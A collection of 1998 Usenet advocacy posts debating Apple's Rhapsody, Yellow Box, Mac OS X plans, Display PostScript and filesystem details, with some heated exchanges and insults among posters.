In <6ji2nm$qns$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > The one thing I really still miss is the Shelf on the FileBrowser.
> > Not having that is a pain in the bottom.
>
> Isn't the filebrowser supposed to be replacable? If so, how hard will it be
to
> write a replacement that incorporates a shelf?
>
Sorry, I don't know...
> Or can't you say because of NDA?
>
No, I just don't know. :-)
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 17 May 1998 18:06:40 GMT
Organization: P & L Systems
Message-ID: <6jn8vg$1cc$67@ironhorse.plsys.co.uk>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
<see-below-1505982323220001@209.24.241.97> <6jjo21$n53$9@news.idiom.com>
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Cc: jcr.remove@this.phrase.idiom.com
In <6jjo21$n53$9@news.idiom.com> John C. Randolph wrote:
> [RestOfMacMedia emulateCluefulReporter:scott];
>
Hmm, is that a class or instance method?! :-)
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 18:14:21 GMT
Organization: P & L Systems
Message-ID: <6jn9dt$1cc$68@ironhorse.plsys.co.uk>
References: <6jgsjt$93u$1@crib.bevc.blacksburg.va.us> <1998051512561800.IAA17653@ladder01.news.aol.com>
<6jhne8$a2b$1@crib.bevc.blacksburg.va.us> <6ji6gt$n8h$4@msunews.cl.msu.edu>
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Cc: spammers@ruin.the.internet.channelu.com
In <6ji6gt$n8h$4@msunews.cl.msu.edu> spammers@ruin.the.internet.channelu.com
wrote:
> Well we'll keep looking at where this is all going. The whole DPS -
> whatever debacle and loss of NXHosting - will we be left with X?
>
Yeah, apart from YellowBox, EOF, and WebObjects, what has Apple ever given
us?
Apart from Mach of course.
And being able to call YB classes from Java. I mean naturally you expect to
be able to call YB objects from Java. But apart from that, what has Apple
ever given us?
Best wishes,
mmalc.
Oh, and a marketplace...
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 17 May 1998 18:17:59 GMT
Organization: P & L Systems
Message-ID: <6jn9kn$1cc$69@ironhorse.plsys.co.uk>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk>
<355c8423.0@206.25.228.5> <6jn2dh$1cc$65@ironhorse.plsys.co.uk>
<6jn68e$pgm$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6jn68e$pgm$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <6jn2dh$1cc$65@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
>
> I wonder if they have a preference for right-mouse-button popup app
> menus.. I use those almost completely in preference to actually going
> up to the menu and clicking on it.
>
Yes; I deliberately included that in one of the UI shots! :-)
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: 17 May 1998 14:28:15 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jna7v$poi$1@crib.bevc.blacksburg.va.us>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk>
In article <6jn8d4$1cc$66@ironhorse.plsys.co.uk>, mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> No Intel? We'll see. If lots of people buy Rhapsody/Intel, then I'm sure
> Apple will continue with it. If they don't, then there's no market anyway,
> right?
Uh, I think most people would be kind of crazy to buy Rhapsody/Intel
_now_, with Apple saying that they'll probably drop it. Rather a
self-fulfilling prophecy. Of course, I guess it's better that Apple do
this, even if it _encourages_ the death of Rhapsody/Intel, than to have
not announced this and then killed it anyway if enough people didn't
buy it.
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Network Holes List - Mac OS NOT On It!
Date: 17 May 1998 18:41:23 GMT
Message-ID: <6jnb0j$61v$2@newsfep3.sprintmail.com>
References: <derekc-1505981616070001@srv-12-29.roc.ny.frontiernet.net> <355ef11e.16316431@news.netdirect.net>
<6jlodo$3dl$1@akron5.neo.lrun.com> <6jlslk$dp0$6@newsfep4.sprintmail.com>
<slrn6lt0d2.228.jason@jhste1.dyn.ml.org>
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In <slrn6lt0d2.228.jason@jhste1.dyn.ml.org> Jason S. wrote:
> macghod@concentric.net posted the following to comp.sys.mac.advocacy:
> >> >>PS: Mac security is being built into Rhapsody, with luck killing off
the
> >> >>vunerability of the NeXT OS.
>
> >GOOD LORD!!!! Mac Evangelist said this???????? That is so incredibly
> >stupid!!!! The vulnerability of Next os is that it is a MULTI user
system.
> > Multi User systems have inherint security problems. Mac security = being
a
> >single user system, how is this being "built into rhapsody"? Rhapsody is
> >INHERENTLY a multi user system, that is one of its ADVANTAGES.
>
> >Does anyone know which of the mac evangelists put in the PS:? That is so
> >asinine it is not even funny. Whoever it is should be <ugg, nevermind, I
> >will try to calm down>
>
> Since when was the EvangeList a respected source of information, anyway?
Well, the Evangelist is produced by Apple employees.
That a list that speaks for Apple would be so factually inaccurate, is
really bad.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
Mac/openstep qa work desired, email me for resume
NeXTMail and MIME OK!
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Steve Jobs fulfills fiduciary responsibility
Date: 17 May 1998 18:23:32 GMT
Organization: P & L Systems
Message-ID: <6jn9v4$1cc$71@ironhorse.plsys.co.uk>
References: <6j9vr4$flq@nntp02.primenet.com> <6ja5o4$k4$1@news.idiom.com>
<Esvx8v.6n8@micmac.com> <6jcl93$1cc$26@ironhorse.plsys.co.uk>
<Et04LK.4zv@micmac.com>
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In <Et04LK.4zv@micmac.com> Michel Coste wrote:
> I see personnally Mac OS X as Rhapsody 2.0!
>
Ah, this is because you have a clue.
cf Henry's point! :-)
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 17 May 1998 18:29:51 GMT
Organization: P & L Systems
Message-ID: <6jnaav$1cc$72@ironhorse.plsys.co.uk>
References: <1d8xs8m.mqho5znnswjkN@amtmtc.demon.co.uk> <EsvxtF.7G0@micmac.com>
<see-below-1305982328510001@209.24.241.190> <355B1D3F.27453C81@nospam.com>
<6jfanm$73n$1@crib.bevc.blacksburg.va.us> <rex-1405981430100001@192.168.0.3>
<355CC191.DC8B09BA@nospam.com>
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In <355CC191.DC8B09BA@nospam.com> Tim Triemstra wrote:
> And if Apples doesn't start to state that Yellow Box is the *primary*
> API for the future of Apple, then noone will ever write for Yellow,
>
Umm, hello...? World to Tim -- they started saying that at WWDC.
Best wishes,
mmalc.
From: aa829@ccn.cs.dal.ca (Charlie Mingo)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 14:55:43 -0400
Organization: PANIX Internet and Unix, NYC
Message-ID: <aa829-1705981455440001@port31.dialb2.gain-ny.com>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>
Mail-Copies-To: always
In article <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> isn't Rhapsody1.0 promised and due for delivery?
Yes.
> Is there promise for Rhapsody2.0?
> Rhapsody for Intel is a nice choice for people
> comfortable with Wintel hardware. MacOSX is promised 1999? Is there a
> promise of MacOSX for Intel? Can you point me to a nice
> cross-platform strategy for Intel using MacOSX?
There will be some revisions to Rhapsody after it comes out (Rhapsody 1.1,
say), but on the PPC side Rhapsody will be folded into OS X. This is
unavoidable because OS X changes the YellowBox graphics, and Apple isn't
going to have two different versions of YellowBox out there at the same
time.
Apple will still have Rhapsody 2.0 for Intel (Rhapsody 1.0 with the new
YellowBox architecture), and new-style YellowBox apps will be supported
under Windows (indeed, one reason for losing DPS was to get a royalty-free
Windows runtime).
--
mingo "at" panix "dot" com
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 13:02:52 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F264C.87FF0A28@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <joe.ragosta-1705980743310001@elk61.dol.net> <355EDED8.23B8E3E0@milestonerdl.com> <6jn5na$pel$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355EDED8.23B8E3E0@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > When *I* get conformation, I'll send for the tape.
>
> Confirmation from who?? About what?
If you were not such a fucking stroke, you would have read the ENTIRE post.
WWDC-98-197 (1-tape set)
Yellow Box Feedback
Forum
seems to be the right one. When *I* get conformation, I'll send for the tape.
Where WWDC-98-197 is the tape that should have the quote.
> > I want to hear for myself Apple driving yet another nail in the credibility of
> > 'cross-platform'.
>
> Surely you're bright enough
It would seem that you are not. Or, unable to read.
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: STEPWISE and Scott Kudos
Date: 17 May 1998 19:04:59 GMT
Organization: Idiom Communications
Message-ID: <6jnccr$qjg$1@news.idiom.com>
References: <355c8968.0@206.25.228.5> <6ji9ht$dtq$1@xmission.xmission.com>
<see-below-1505982323220001@209.24.241.97> <6jjo21$n53$9@news.idiom.com>
<6jn8vg$1cc$67@ironhorse.plsys.co.uk>
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mmalcolm crawford may or may not have said:
-> In <6jjo21$n53$9@news.idiom.com> John C. Randolph wrote:
->
-> > [RestOfMacMedia emulateCluefulReporter:scott];
-> >
-> Hmm, is that a class or instance method?! :-)
A class method, of course! I follow the conventions.
-jcr
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: Sun, 17 May 1998 13:14:41 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F2911.CD169466@milestonerdl.com>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1605981948230001@elk32.dol.net> <3_r71.216$Jb1.1285225@news.rdc1.sfba.home.com> <355EDB94.4A38F0A9@milestonerdl.com> <6jn5tq$pfg$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <355EDB94.4A38F0A9@milestonerdl.com>, mark@milestonerdl.com wrote:
>
> > > Get the audio tapes, http://www.vwtapes.com/, for the Yellow Box feedback
> > > session. I asked the question, I got the answer. There will be NO
> > > Rhapsody/x86 past Rhapsody 1.0. Simple as that. Not too hard to verify.
>
> > Ouch. That's about as close as it gets, save a press release that says
> > otherwise.Do you remember any other points from that session? About future
> > (or lack thereof) for the YB under windows?
>
> What a hypocrite!
Not At all.
> You're willing to take Akira's word
Not at All. Akira has mentioned a session where his question can be heard, and
the answer. When I get the conformation of tape for the session, I'll go buy the
tape and listen to it myself. The only thing I am taking at his 'word' is that
on a specific tape, the question/response will be found.
> for it when he claims that Apple
> said that they're killing Rhapsody/Intel, but you're not willing to take
> Scott or
Scott has provided no person who said what or when. Just what he understood was
said.
> Mike's word for it (and Mike _also_ cited a specific session
> and speaker)
Mike who? I saw in a past thread some mention of a Mike, but I haven't seen
where the tie was made. Can you provide the pointer to the tape/text? I may
have missed it.
> -- Scott being the _official WWDC reporter_
'official' of who? Official of YPOV? (Your Point of View)
> and Mike being
> a _senior Apple YB engineer_, both more credible in this respect than
> Akira (not to put him down or anything) --
Ok.....show a pointer to where Mike said what. I may have missed it.
> when they claim that Apple
> said that there will be NT5/98 support, and that YB/Windows is part of
> their long-term strategy?
Again, show me a pointer. Akira has been specific to a time/place and source.
The only thing I saw drift by in this thread was a demo of YB on NT5 beta.
Fine. When? Where? 5 days of hype at WWDC is much to sort thru.
And that's FAR more than anyone else has done.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 13:20:37 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F2A75.9AB927B7@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
<6j9lrd$gl7$1@larry.admin.phil.uu.nl> <slrn6lgo9c.l2e.sal@panix3.panix.com>
<6jcf2d$iu2@newsb.netnews.att.com> <ericb-1405981303550001@132.236.171.104>
<355B1A3C.5955AED1@milestonerdl.com> <6jhtr4$ibt$1@nnrp1.dejanews.com>
<355C787A.2B058D89@milestonerdl.com> <6jk8lv$1cc$51@ironhorse.plsys.co.uk>
<355E123D.1939DF29@milestonerdl.com> <6jmu7u$1cc$57@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <355E123D.1939DF29@milestonerdl.com> M Rassbach wrote:
> > mmalcolm crawford wrote:
> > > In <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> Mike Paquette wrote:
> > > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow Box
> > > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > > 5.0 beta.
> >
> > Can anyone point to a quicktime movie of this with a time index?
> >
> Umm, Mike Paquette is a senior YB engineer at Apple.
Good. Now I've found this Mike Post. I have ASKED for a quicktime, or at least
a session name so I can go get the tape.
Now, is someone willing to identify WHERE and WHEN Ali spoke?
Or, are you going to continue being a dick Crawford?
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NSHosting and MacOS X
Date: 17 May 1998 19:18:16 GMT
Organization: Idiom Communications
Message-ID: <6jnd5o$qjg$2@news.idiom.com>
References: <1d93iik.1l170dz8etsaxN@carina47.wco.com> <Et2Lqx.A2A@micmac.com>
<6jl9if$jfl$1@crib.bevc.blacksburg.va.us> <6jn5ai$gsi5@odie.mcleod.net>
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"Michelle L. Buck" may or may not have said:
->
-> The reason that NSHosting will be gone in MacOS X is very simple. In
order
-> to bring MacOS apps forward, Quickdraw MUST be preserved with very few
-> changes. Quickdraw is an immediate mode API that will never be network
-> hostable. On the other hand, the DPS style client server code (much of
-> which is encapsulated in the AppKit anyway) can easily be made "immediate"
-> without any or much change.
Eh, I don't buy that. There is already a quickdraw emulator written in
Postscript, that goes all the way back to the first LaserPrep file that
shipped with the first LaserWriter. Mapping QD to Postscript is a problem
Apple solved a *long* time ago.
-> Apple wanted to keep the Window Server / Backing Store consistent between
-> Quickdraw and AppKit. The new window server will only be responsible for
-> backing store. There will be no more rendering or RIPing in the server.
-> This means that Toolbox APPs and Quickdraw will gain "Buffered" and
-> "Retained" window support and YellowBox will lose remote display.
QD was always able to draw wherever in memory you told it to draw, so this is
a red herring.
I just can't buy the claim that there's a technical reason for dropping
PostScript in favor of PDF. This was political, no two ways about it.
-jcr
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 13:28:46 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F2C5D.DA20E328@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu>
<ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news>
<ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162>
<ericb-1505981818400001@132.236.171.104> <see-below-1505982119100001@209.24.241.97>
<355DABCF.B1FC5A7E@milestonerdl.com> <6jmt1p$1cc$55@ironhorse.plsys.co.uk>
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mmalcolm crawford wrote:
> In <355DABCF.B1FC5A7E@milestonerdl.com> M Rassbach wrote:
> In all of this prattle, you've forgotten WebObjects, which is based on
> YellowBox, which has been enhanced significantly since last WWDC, and which
> is a shipping product. On Windows NT.
>
> Apple has a number of *major* high-profile WebObjects customers.
And the press announcements about how wonderful WebObjects, and how the
main-stream press has picked it up is part of what marketing plan?
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: 17 May 1998 19:14:28 GMT
Organization: P & L Systems
Message-ID: <6jncuk$1cc$73@ironhorse.plsys.co.uk>
References: <355B510B.250023F2@milestonerdl.com> <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com>
<355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us>
<355EE75B.BAAEEFBB@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <355EE75B.BAAEEFBB@milestonerdl.com> M Rassbach wrote:
> Nathan Urban wrote:
>
> > In article <355DA040.D6BEABC3@milestonerdl.com>, mark@milestonerdl.com
wrote:
> > > Mike Paquette wrote:
> > > > Ali Ozer mentioned in his Yellow Box session on Tuesday that Yellow
Box
> > > > for Windows works on Windows 98 Release Candidates and the Windows NT
> > > > 5.0 beta.
> > > > It works on the machine in my office, too...
[...]
>
> And so the session # where this is mention was what? Is there a QT of it?
>
I don't know -- what difference does it make?
Mike is a senior engineer at Apple. He's perfectly capable of making the
call for himself.
Or are you going to accuse Mike of lying?
You make Doubting Thomas look gullible.
mmalc.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Sun, 17 May 1998 15:31:31 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981531310001@132.236.171.104>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26> <MPG.fc18109c8dbd1a19896ae@news.supernews.com> <6j8i0r$aq$1@crib.bevc.blacksburg.va.us> <ericb-1405981420100001@132.236.171.104> <pxpst2-1405981509500001@pelli.pathology.pitt.edu> <ericb-1505981731010001@132.236.171.104> <pxpst2-1605981342480001@pelli.pathology.pitt.edu> <joe.ragosta-1605981942370001@elk32.dol.net> <pxpst2-1605982155100001@pelli.pathology.pitt.edu>
In article <pxpst2-1605982155100001@pelli.pathology.pitt.edu>,
pxpst2@SPAM.SUXS.unixs.cis.pitt.edu wrote:
> In article <joe.ragosta-1605981942370001@elk32.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Rhapsody currently uses 2.5++++++.
>
> I'm no expert on this but 2.5 is a monolithic kernal not capable of
> running on more than one processor. Mach 3.0 should be able to handle up
> to 20. BUT like I said I am no expert on this
You said MkLinux uses 2.5 and that 2.5 does not support multiple
processors, but MkLinux *does* support multiple processors (as of January,
I believe).
Which of your statements is wrong? (I'm not being obnoxious. I don't
know the answer.)
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <6jiaqk$6sf$4@news.xmission.com> <B1828620-F829A@208.254.112.129> <6jj570$bt1$1@crib.bevc.blacksburg.va.us> <355CA9E5.44F6@earthlink.net> <6jj834$bvb$1@crib.bevc.blacksburg.va.us> <6jn288$1cc$64@ironhorse.plsys.co.uk>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355f2329.0@206.25.228.5>
Date: 17 May 98 17:49:29 GMT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <6jj834$bvb$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> > I would like to know if you can make the entire top-level menu
> > bar vertical.. probably not..
> >
> I'm happy to report you're wrong. :-) (To my surprise too, to
> be honest.)
> But the menu bar acros the top remains in situ as well.
Figures. That's consistent with the other UI improvements made
thus far.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
References: <355c810a.0@206.25.228.5> <6jmt7c$78g$1@ndnws01.ne.highway1.com>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <355f2684.0@206.25.228.5>
Date: 17 May 98 18:03:48 GMT
Steven W. Schuldt <sschuldt@mediaone.net> wrote:
> While I really appreciate the StepWise positive spin on all of
> this (keeps we old NeXT men from diving for a window in these
> dark days), Scott is perhaps a little _too_ nice and diplomatic.
> Sometimes people need to have their necks wrung for doing things
> like pulling the rug from under a dream operating system for
> some quick filthy lucre and to smother the young competitors of
> bloated Silcon Valley software cartels like Adobe/Macromedia.
> Some things are simply not Good News, and which when spun as
> such can ring a little hollow as the casualties pile up.
> Anyway, MacOSX sounds like vomit city; not someplace I plan to
> relocate to.
I think you speak for a lot of the folks that went into NeXT for
the "no compromise" goal of perfection. At least for me. I don't
know how big or significant a contingent that is in the marketplace
though. My guess, in reality it's miniscule. Not many people are
willing to live without ms apps. Which in my view, the absense of
ms apps is a good and healthy thing considering how they completely
abort and pervert environments for which they develop. If even
they are willing to live without ms apps, there are a million other
legacy, tradition, and familiarity issues they will bitch about
that have no basis whatsoever in merit. I don't necessarily think
that's bad, or they are bad for it. I understand it; it probably
makes more sense in the real world. Continuity is an important
and vibrant part of the marketplace and it's needed for people to
continue to produce. But for some that continuity is just a constant
reminder, and reflection of stagnation and the delay of progress.
So it is with me. YMMV.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:41:06 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981541060001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us> <355CCDEC.BB17EB97@milestonerdl.com> <joe.ragosta-1605980717380001@elk81.dol.net>
In article <joe.ragosta-1605980717380001@elk81.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Same thing on UFS. Isn't the degree of fragmentation dependent on how the
> OS uses a file format and not on the file format itself?
The second extended filesystem (ext2fs) in Linux, for example, has
features that makes it much easier for the OS to avoid fragmentation.
My understanding is that you can set ext2fs up (by specifying appropriate
filesystem parameters) to behave like HFS+ in terms of likely degree of
fragmentation, but it's not normally done that way.
One thing to consider when designing a Unix filesystem is that it's a
preemptive multiuser system. Even if you are reading a large chunk of a
large, nonfragmented file, there is a fair chance that another process
will access the disk in the middle of this operation, and the drive heads
will have to move. This means that it's not really worth your time to
bother defragmenting files past a certain point. As long as the fragments
are not too small or too numerous, you won't take much of a speed hit.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:41:57 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981541570001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <6jib4k$nu6$1@larry.admin.phil.uu.nl> <6jies9$bbm$1@crib.bevc.blacksburg.va.us> <355CCDEC.BB17EB97@milestonerdl.com> <6jiob6$bj0$1@crib.bevc.blacksburg.va.us> <see-below-1505982134490001@209.24.241.97>
In article <see-below-1505982134490001@209.24.241.97>,
see-below@not-my-address.com (Matthew Vaughan) wrote:
> HFS+ is basically a 64-bit version of HFS, as I understand it. I don't
> know what other changes there are. HFS has been held back in performance
> by the file system being emulated 68k code.
HFS+ adds a third B-tree, the attributes b-tree, for storing extended
information about files.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sun, 17 May 1998 13:48:14 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355F30ED.F41882@milestonerdl.com>
References: <355B510B.250023F2@milestonerdl.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com> <6jn4gc$pam$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
Go buy the freaking video tapes of the conference. Try
> http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=
> Request the Tuesday Yellow Box session with Ali Ozer in it.
Thank you. It's about time you got around to mentioning where these quotes can be
found.
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<HTML>
<P>Nathan Urban wrote:
<BR>Go buy the freaking video tapes of the conference. Try
<BLOCKQUOTE TYPE=CITE><A HREF="http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=">http://www.vwtapes.com/cgi-local/vwcart.pl?page=/wwdc/98/index.html&cart_id=</A>
<BR>Request the Tuesday Yellow Box session with Ali Ozer in it.</BLOCKQUOTE>
Thank you. It's about time you got around to mentioning where these
quotes can be found.</HTML>
--------------33A6108CB6A4315F933589FA--
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:50:15 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981550150001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <andyba-ya02408000R1505981738020001@news> <joe.ragosta-1605980714480001@elk81.dol.net> <nagleEt2nD0.5xF@netcom.com>
In article <nagleEt2nD0.5xF@netcom.com>, nagle@netcom.com (John Nagle) wrote:
> I have a copy of "Mac OS 8 Revealed", by Tony Francis. (1996,
> Addison-Wesley, ISBN 0-201-47955-9). This is the book for Copland.
> It shows just how far Apple was willing to go in terms of making
> commitments they didn't keep.
>
> Never forget this.
And I had a copy of the Copland demo CD showing me how I would have
preemptive multitasking under a product called "MacOS 8". Hmmm. My copy
of MacOS 8 seems to be missing that feature.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:53:50 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981553500001@132.236.171.104>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net>
In article <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Actually, there is *less* risk now, as YB will likely ship with every
> new Mac come late 99 vs. Rhapsody shipping to an elite few who needed or
> desired its added value.
Under the "old" plan MacOS 8 was going to have YB support, so I don't see
how the number of potential users with a YB-compliant OS has changed much.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 15:56:40 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1705981556400001@132.236.171.104>
